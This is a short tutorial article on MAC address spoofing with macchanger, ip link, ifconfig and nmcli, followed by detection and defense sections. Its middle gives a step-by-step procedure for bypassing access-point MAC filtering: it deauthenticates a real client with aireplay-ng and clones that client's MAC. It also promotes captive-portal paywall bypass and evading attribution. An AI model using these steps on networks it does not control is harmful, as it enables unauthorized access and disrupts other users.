MAC Address Spoofing

3 min readArticle

MAC (Media Access Control) address spoofing changes the Layer 2 hardware identifier your network interface broadcasts. It is built into every major OS — not a vulnerability, just a feature. Used to bypass MAC-based filters, avoid tracking, impersonate devices, and enable ARP cache attacks.

Why Spoof a MAC

Bypass MAC filtering on APs: airodump-ng shows every associated client's MAC — clone one and the AP trusts you
Captive portal bypass: hotels and airports authenticate by MAC; clone an already-authenticated MAC to skip the paywall
Anonymity: DHCP logs, switch port tables, and 802.1X records all track MAC — spoofing breaks attribution
ARP poisoning: sending gratuitous ARPs from a spoofed MAC is invisible at the MAC-filter level

Tool: macchanger

bash

sudo apt install macchanger

macchanger eth0                          # show current and burned-in MAC
sudo macchanger -r eth0                  # set fully random MAC
sudo macchanger -e eth0                  # random MAC, same vendor OUI prefix
sudo macchanger -m AA:BB:CC:DD:EE:FF eth0  # set a specific MAC
sudo macchanger -p eth0                  # reset to original burned-in MAC

# Find OUI prefix for a specific vendor (e.g., Apple)
macchanger -l | grep -i apple

Tool: ip link (no extra packages needed)

bash

sudo ip link set eth0 down
sudo ip link set eth0 address AA:BB:CC:11:22:33
sudo ip link set eth0 up
ip link show eth0 | grep ether          # verify

macOS

bash

sudo ifconfig en0 ether AA:BB:CC:DD:EE:FF
# Reverts on reboot — macOS re-randomizes at each WiFi join by default in Ventura+

Permanent vs Session-Only Spoofing

Changes made with ip link or macchanger are session-only — they revert on reboot. For persistence, use a udev rule or NetworkManager connection profile:

bash

# NetworkManager persistent MAC spoof for a WiFi connection
nmcli connection modify "MyWiFi" wifi.cloned-mac-address AA:BB:CC:DD:EE:FF

OUI Database (First 3 Bytes = Vendor)

The first 24 bits of a MAC are the OUI (Organizationally Unique Identifier) — vendor-assigned. If a device's OUI says "Raspberry Pi Trading" but the device type looks like a laptop, that is a red flag.

bash

# Look up OUI online: https://regauth.standards.ieee.org/
# Or locally:
macchanger -l | grep -i "intel"        # find Intel OUIs for a realistic spoof

Bypassing MAC Filtering on an AP

bash

# Step 1: discover connected client MACs
sudo airodump-ng wlan0mon --bssid <AP_BSSID>   # note a CLIENT MAC

# Step 2: optionally deauth the real client first
sudo aireplay-ng --deauth 5 -a <AP_BSSID> -c <CLIENT_MAC> wlan0mon

# Step 3: spoof the client's MAC and connect
sudo airmon-ng stop wlan0mon
sudo ip link set wlan0 down
sudo ip link set wlan0 address <CLIENT_MAC>
sudo ip link set wlan0 up
# Connect normally — the AP sees you as the authorized client

ARP Cache Implications

When you change MAC and send traffic, the router's ARP table updates IP→new MAC. After reverting:

bash

sudo ip -s -s neigh flush all    # clear local ARP cache
arp -n                           # verify ARP table

Detection

bash

# Wireshark — filter for locally-administered MACs (suspicious spoofs)
# eth.src[0] & 0x02   (LA bit set = locally administered, not factory)

# arpwatch — alerts on IP/MAC pair changes
sudo apt install arpwatch
sudo arpwatch -i eth0
tail -f /var/log/syslog | grep arpwatch    # watch for "changed ethernet address" events

Managed switches log MAC flapping — same IP appearing on different ports with different MACs.

Defense

MAC filtering provides no real security:

Every connected MAC is visible in monitor mode — takes 30 seconds to find one
Spoofing takes 3 commands
Use WPA2/WPA3 with strong passphrases for cryptographic identity
Enterprise: 802.1X port authentication — MAC can be spoofed but the certificate or credential cannot

techzonesite.comUnlock Your IT Potential